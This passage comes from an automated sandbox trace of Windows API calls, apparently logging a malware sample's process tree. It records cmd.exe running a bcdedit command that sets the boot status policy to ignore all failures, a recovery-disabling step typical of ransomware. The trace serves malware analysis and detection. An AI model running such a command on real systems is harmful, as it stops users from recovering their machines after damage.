_String2="CLS") returned -1 [0264.977] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0264.977] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0264.977] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0264.977] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0264.977] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0264.977] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0264.977] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0264.977] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0264.977] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0264.977] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0264.977] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0264.977] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0264.977] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0264.977] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0264.978] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0264.978] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0264.978] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0264.978] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0264.978] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0264.978] _wcsicmp (_String1="bcdedit", _String2="FOR") returned -4 [0264.978] _wcsicmp (_String1="bcdedit", _String2="IF") returned -7 [0264.978] _wcsicmp (_String1="bcdedit", _String2="REM") returned -16 [0264.978] ??_V@YAXPAX@Z () returned 0x1 [0264.978] GetProcessHeap () returned 0x3060000 [0264.978] RtlAllocateHeap (HeapHandle=0x3060000, Flags=0x8, Size=0xffd6) returned 0x3068d60 [0264.979] GetProcessHeap () returned 0x3060000 [0264.979] RtlAllocateHeap (HeapHandle=0x3060000, Flags=0x8, Size=0x5e) returned 0x3067b20 [0264.979] _wcsnicmp (_String1="bcde", _String2="cmd ", _MaxCount=0x4) returned -1 [0264.979] malloc (_Size=0xffce) returned 0x3492610 [0264.979] ??_V@YAXPAX@Z () returned 0x2d5ee14 [0264.979] GetProcessHeap () returned 0x3060000 [0264.979] RtlAllocateHeap (HeapHandle=0x3060000, Flags=0x8, Size=0x1ffa4) returned 0x3078d40 [0264.981] SetErrorMode (uMode=0x0) returned 0x0 [0264.981] SetErrorMode (uMode=0x1) returned 0x0 [0264.981] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x3078d48, lpFilePart=0x2d5ee34 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x2d5ee34*="Desktop") returned 0x17 [0264.981] SetErrorMode (uMode=0x0) returned 0x1 [0264.981] GetProcessHeap () returned 0x3060000 [0264.981] RtlReAllocateHeap (Heap=0x3060000, Flags=0x0, Ptr=0x3078d40, Size=0x48) returned 0x3078d40 [0264.981] GetProcessHeap () returned 0x3060000 [0264.981] RtlSizeHeap (HeapHandle=0x3060000, Flags=0x0, MemoryPointer=0x3078d40) returned 0x48 [0264.981] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0264.981] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0264.981] GetProcessHeap () returned 0x3060000 [0264.982] RtlAllocateHeap (HeapHandle=0x3060000, Flags=0x8, Size=0x1b4) returned 0x3067b88 [0264.982] GetProcessHeap () returned 0x3060000 [0264.982] RtlAllocateHeap (HeapHandle=0x3060000, Flags=0x8, Size=0x360) returned 0x3067d48 [0264.991] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0264.991] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x2d5ebc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2d5ebc0) returned 0xffffffff [0264.992] GetLastError () returned 0x2 [0264.992] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0264.992] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x2d5ebc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2d5ebc0) returned 0xffffffff [0264.992] GetLastError () returned 0x2 [0264.992] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0264.992] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x2d5ebc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2d5ebc0) returned 0xffffffff [0264.992] GetLastError () returned 0x2 [0264.992] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0264.993] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x2d5ebc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2d5ebc0) returned 0xffffffff [0264.993] GetLastError () returned 0x2 [0264.993] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0264.993] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x2d5ebc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2d5ebc0) returned 0xffffffff [0264.995] GetLastError () returned 0x2 [0264.995] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0264.995] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x2d5ebc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2d5ebc0) returned 0xffffffff [0264.997] GetLastError () returned 0x2 [0264.997] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0264.997] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x2d5ebc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2d5ebc0) returned 0xffffffff [0264.997] GetLastError () returned 0x2 [0264.997] ??_V@YAXPAX@Z () returned 0x1 [0264.998] _get_osfhandle (_FileHandle=2) returned 0x94 [0264.998] GetFileType (hFile=0x94) returned 0x2 [0264.998] GetStdHandle (nStdHandle=0xfffffff4) returned 0x94 [0264.998] GetConsoleMode (in: hConsoleHandle=0x94, lpMode=0x2d5f00c | out: lpMode=0x2d5f00c) returned 1 [0265.331] _get_osfhandle (_FileHandle=2) returned 0x94 [0265.331] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x94, lpConsoleScreenBufferInfo=0x2d5f05c | out: lpConsoleScreenBufferInfo=0x2d5f05c) returned 1 [0265.974] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0xc3b990, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0265.975] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0xc3b990, nSize=0x2000, Arguments=0x2d5f08c | out: lpBuffer="'bcdedit' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0265.975] WriteConsoleW (in: hConsoleOutput=0x94, lpBuffer=0xc3b990*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x2d5f040, lpReserved=0x0 | out: lpBuffer=0xc3b990*, lpNumberOfCharsWritten=0x2d5f040*=0x62) returned 1 [0266.400] ??_V@YAXPAX@Z () returned 0x1 [0266.400] _get_osfhandle (_FileHandle=1) returned 0x90 [0266.400] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0266.851] _get_osfhandle (_FileHandle=1) returned 0x90 [0266.851] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xc33890 | out: lpMode=0xc33890) returned 1 [0267.101] _get_osfhandle (_FileHandle=0) returned 0x8c [0267.101] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xc33894 | out: lpMode=0xc33894) returned 1 [0267.294] SetConsoleInputExeNameW () returned 0x1 [0267.294] GetConsoleOutputCP () returned 0x1b5 [0267.459] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xc33850 | out: lpCPInfo=0xc33850) returned 1 [0267.459] SetThreadUILanguage (LangId=0x0) returned 0x2fd0409 [0267.583] exit (_Code=1) [0267.583] ??_V@YAXPAX@Z () returned 0x1 Thread: id = 131 os_tid = 0xb0c Process: id = "18" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x3b16b000" os_pid = "0xa7c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0xf28" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 105 os_tid = 0xe64 Thread: id = 107 os_tid = 0x9f0 Thread: id = 115 os_tid = 0x3a8 Thread: id = 122 os_tid = 0x6dc Thread: id = 124 os_tid = 0x838 Process: id = "19" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x1fe44000" os_pid = "0xf7c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "17" os_parent_pid = "0x4a4" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 109 os_tid = 0x2d0 Thread: id = 112 os_tid = 0x4a0 Thread: id = 118 os_tid = 0x468 Thread: id = 125 os_tid = 0xfd8 Thread: id = 127 os_tid = 0xfc0 Process: id = "20" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x6a07f000" os_pid = "0x344" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0xec8" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /c bcdedit /set {default} bootstatuspolicy ignoreallfailures" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 110 os_tid = 0xee4 [0262.963] GetModuleHandleA (lpModuleName=0x0) returned 0xc00000 [0262.963] __set_app_type (_Type=0x1) [0262.963] __p__fmode () returned 0x77ae3c14 [0262.963] __p__commode () returned 0x77ae49ec [0262.963] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xc16fd0) returned 0x0 [0262.963] __getmainargs (in: _Argc=0xc2d1a4, _Argv=0xc2d1a8, _Env=0xc2d1ac, _DoWildCard=0, _StartInfo=0xc2d1b8 | out: _Argc=0xc2d1a4, _Argv=0xc2d1a8, _Env=0xc2d1ac) returned 0 [0262.963] _onexit (_Func=0xc18030) returned 0xc18030 [0262.963] _onexit (_Func=0xc18040) returned 0xc18040 [0262.963] _onexit (_Func=0xc18050) returned 0xc18050 [0262.963] _onexit (_Func=0xc18060) returned 0xc18060 [0262.964] _onexit (_Func=0xc18070) returned 0xc18070 [0262.964] _onexit (_Func=0xc18080) returned 0xc18080 [0262.964] GetCurrentThreadId () returned 0xee4 [0262.964] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xee4) returned 0xbc [0262.966] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0262.966] GetProcAddress (hModule=0x75e90000, lpProcName="SetThreadUILanguage") returned 0x75ea4f70 [0262.966] SetThreadUILanguage (LangId=0x0) returned 0x400409 [0263.249] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0263.249] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x78f96c | out: phkResult=0x78f96c*=0x0) returned 0x2 [0263.249] VirtualQuery (in: lpAddress=0x78f977, lpBuffer=0x78f924, dwLength=0x1c | out: lpBuffer=0x78f924*(BaseAddress=0x78f000, AllocationBase=0x690000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0263.249] VirtualQuery (in: lpAddress=0x690000, lpBuffer=0x78f924, dwLength=0x1c | out: lpBuffer=0x78f924*(BaseAddress=0x690000, AllocationBase=0x690000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0263.249] VirtualQuery (in: lpAddress=0x691000, lpBuffer=0x78f924, dwLength=0x1c | out: lpBuffer=0x78f924*(BaseAddress=0x691000, AllocationBase=0x690000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0263.249] VirtualQuery (in: lpAddress=0x693000, lpBuffer=0x78f924, dwLength=0x1c | out: lpBuffer=0x78f924*(BaseAddress=0x693000, AllocationBase=0x690000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0263.249] VirtualQuery (in: lpAddress=0x790000, lpBuffer=0x78f924, dwLength=0x1c | out: lpBuffer=0x78f924*(BaseAddress=0x790000, AllocationBase=0x790000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0263.249] GetConsoleOutputCP () returned 0x1b5 [0263.420] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xc33850 | out: lpCPInfo=0xc33850) returned 1 [0263.420] SetConsoleCtrlHandler (HandlerRoutine=0xc27260, Add=1) returned 1 [0263.420] _get_osfhandle (_FileHandle=1) returned 0x90 [0263.420] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xc3388c | out: lpMode=0xc3388c) returned 1 [0263.589] _get_osfhandle (_FileHandle=0) returned 0x8c [0263.589] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xc33888 | out: lpMode=0xc33888) returned 1 [0263.795] _get_osfhandle (_FileHandle=1) returned 0x90 [0263.795] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x0) returned 1 [0263.967] _get_osfhandle (_FileHandle=1) returned 0x90 [0263.967] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xc33890 | out: lpMode=0xc33890) returned 1 [0264.108] _get_osfhandle (_FileHandle=1) returned 0x90 [0264.108] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0264.190] _get_osfhandle (_FileHandle=0) returned 0x8c [0264.190] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xc33894 | out: lpMode=0xc33894) returned 1 [0264.426] _get_osfhandle (_FileHandle=0) returned 0x8c [0264.426] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1 [0264.607] GetEnvironmentStringsW () returned 0x9c4c00* [0264.607] GetProcessHeap () returned 0x9c0000 [0264.607] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0xaca) returned 0x9c56d8 [0264.608] FreeEnvironmentStringsA (penv="A") returned 1 [0264.608] GetProcessHeap () returned 0x9c0000 [0264.608] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x4) returned 0x9c46e0 [0264.608] GetEnvironmentStringsW () returned 0x9c4c00* [0264.608] GetProcessHeap () returned 0x9c0000 [0264.608] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0xaca) returned 0x9c61b0 [0264.608] FreeEnvironmentStringsA (penv="A") returned 1 [0264.608] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x78e8c8 | out: phkResult=0x78e8c8*=0xcc) returned 0x0 [0264.608] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x78e8d0, lpData=0x78e8d4, lpcbData=0x78e8cc*=0x1000 | out: lpType=0x78e8d0*=0x0, lpData=0x78e8d4*=0x58, lpcbData=0x78e8cc*=0x1000) returned 0x2 [0264.608] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x78e8d0, lpData=0x78e8d4, lpcbData=0x78e8cc*=0x1000 | out: lpType=0x78e8d0*=0x4, lpData=0x78e8d4*=0x1, lpcbData=0x78e8cc*=0x4) returned 0x0 [0264.608] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x78e8d0, lpData=0x78e8d4, lpcbData=0x78e8cc*=0x1000 | out: lpType=0x78e8d0*=0x0, lpData=0x78e8d4*=0x1, lpcbData=0x78e8cc*=0x1000) returned 0x2 [0264.608] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x78e8d0, lpData=0x78e8d4, lpcbData=0x78e8cc*=0x1000 | out: lpType=0x78e8d0*=0x4, lpData=0x78e8d4*=0x0, lpcbData=0x78e8cc*=0x4) returned 0x0 [0264.608] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x78e8d0, lpData=0x78e8d4, lpcbData=0x78e8cc*=0x1000 | out: lpType=0x78e8d0*=0x4, lpData=0x78e8d4*=0x40, lpcbData=0x78e8cc*=0x4) returned 0x0 [0264.608] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x78e8d0, lpData=0x78e8d4, lpcbData=0x78e8cc*=0x1000 | out: lpType=0x78e8d0*=0x4, lpData=0x78e8d4*=0x40, lpcbData=0x78e8cc*=0x4) returned 0x0 [0264.608] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x78e8d0, lpData=0x78e8d4, lpcbData=0x78e8cc*=0x1000 | out: lpType=0x78e8d0*=0x0, lpData=0x78e8d4*=0x40, lpcbData=0x78e8cc*=0x1000) returned 0x2 [0264.608] RegCloseKey (hKey=0xcc) returned 0x0 [0264.608] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x78e8c8 | out: phkResult=0x78e8c8*=0xcc) returned 0x0 [0264.608] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x78e8d0, lpData=0x78e8d4, lpcbData=0x78e8cc*=0x1000 | out: lpType=0x78e8d0*=0x0, lpData=0x78e8d4*=0x40, lpcbData=0x78e8cc*=0x1000) returned 0x2 [0264.608] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x78e8d0, lpData=0x78e8d4, lpcbData=0x78e8cc*=0x1000 | out: lpType=0x78e8d0*=0x4, lpData=0x78e8d4*=0x1, lpcbData=0x78e8cc*=0x4) returned 0x0 [0264.608] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x78e8d0, lpData=0x78e8d4, lpcbData=0x78e8cc*=0x1000 | out: lpType=0x78e8d0*=0x0, lpData=0x78e8d4*=0x1, lpcbData=0x78e8cc*=0x1000) returned 0x2 [0264.608] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x78e8d0, lpData=0x78e8d4, lpcbData=0x78e8cc*=0x1000 | out: lpType=0x78e8d0*=0x4, lpData=0x78e8d4*=0x0, lpcbData=0x78e8cc*=0x4) returned 0x0 [0264.608] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x78e8d0, lpData=0x78e8d4, lpcbData=0x78e8cc*=0x1000 | out: lpType=0x78e8d0*=0x4, lpData=0x78e8d4*=0x9, lpcbData=0x78e8cc*=0x4) returned 0x0 [0264.608] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x78e8d0, lpData=0x78e8d4, lpcbData=0x78e8cc*=0x1000 | out: lpType=0x78e8d0*=0x4, lpData=0x78e8d4*=0x9, lpcbData=0x78e8cc*=0x4) returned 0x0 [0264.608] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x78e8d0, lpData=0x78e8d4, lpcbData=0x78e8cc*=0x1000 | out: lpType=0x78e8d0*=0x0, lpData=0x78e8d4*=0x9, lpcbData=0x78e8cc*=0x1000) returned 0x2 [0264.609] RegCloseKey (hKey=0xcc) returned 0x0 [0264.609] time (in: timer=0x0 | out: timer=0x0) returned 0x5cb057f1 [0264.609] srand (_Seed=0x5cb057f1) [0264.609] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c bcdedit /set {default} bootstatuspolicy ignoreallfailures" [0264.609] malloc (_Size=0x4000) returned 0x2e321f0 [0264.609] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c bcdedit /set {default} bootstatuspolicy ignoreallfailures" [0264.609] malloc (_Size=0xffce) returned 0x2c60048 [0264.610] ??_V@YAXPAX@Z () returned 0x78f8ac [0264.610] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2c60048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0264.610] malloc (_Size=0xffce) returned 0x2c70020 [0264.611] ??_V@YAXPAX@Z () returned 0x78f680 [0264.611] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2c70020, nSize=0x7fe7 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0264.611] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0264.611] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0264.611] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0264.611] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0264.611] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0264.611] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0264.611] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0264.611] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0264.611] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0264.611] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0264.611] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0264.611] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0264.612] GetProcessHeap () returned 0x9c0000 [0264.612] RtlFreeHeap (HeapHandle=0x9c0000, Flags=0x0, BaseAddress=0x9c56d8) returned 1 [0264.612] GetEnvironmentStringsW () returned 0x9c4c00* [0264.612] GetProcessHeap () returned 0x9c0000 [0264.612] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0xae2) returned 0x9c7778 [0264.612] FreeEnvironmentStringsA (penv="A") returned 1 [0264.612] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0264.612] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0264.612] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0264.612] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0264.612] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0264.612] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0264.612] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0264.612] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0264.612] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0264.612] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0264.612] malloc (_Size=0xffce) returned 0x2c7fff8 [0264.612] ??_V@YAXPAX@Z () returned 0x78f418 [0264.613] GetProcessHeap () returned 0x9c0000 [0264.613] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x38) returned 0x9c0ae0 [0264.613] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2c7fff8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0264.613] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x2c7fff8, lpFilePart=0x78f464 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x78f464*="Desktop") returned 0x17 [0264.613] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0264.613] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x78f1e8 | out: lpFindFileData=0x78f1e8) returned 0x9c0b20 [0264.614] FindClose (in: hFindFile=0x9c0b20 | out: hFindFile=0x9c0b20) returned 1 [0264.614] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x78f1e8 | out: lpFindFileData=0x78f1e8) returned 0x9c0b20 [0264.614] FindClose (in: hFindFile=0x9c0b20 | out: hFindFile=0x9c0b20) returned 1 [0264.614] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x78f1e8 | out: lpFindFileData=0x78f1e8) returned 0x9c0b20 [0264.614] FindClose (in: hFindFile=0x9c0b20 | out: hFindFile=0x9c0b20) returned 1 [0264.614] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0264.614] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0264.614] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0264.614] GetProcessHeap () returned 0x9c0000 [0264.614] RtlFreeHeap (HeapHandle=0x9c0000, Flags=0x0, BaseAddress=0x9c7778) returned 1 [0264.614] GetEnvironmentStringsW () returned 0x9c4c00* [0264.614] GetProcessHeap () returned 0x9c0000 [0264.614] RtlAllocateHeap 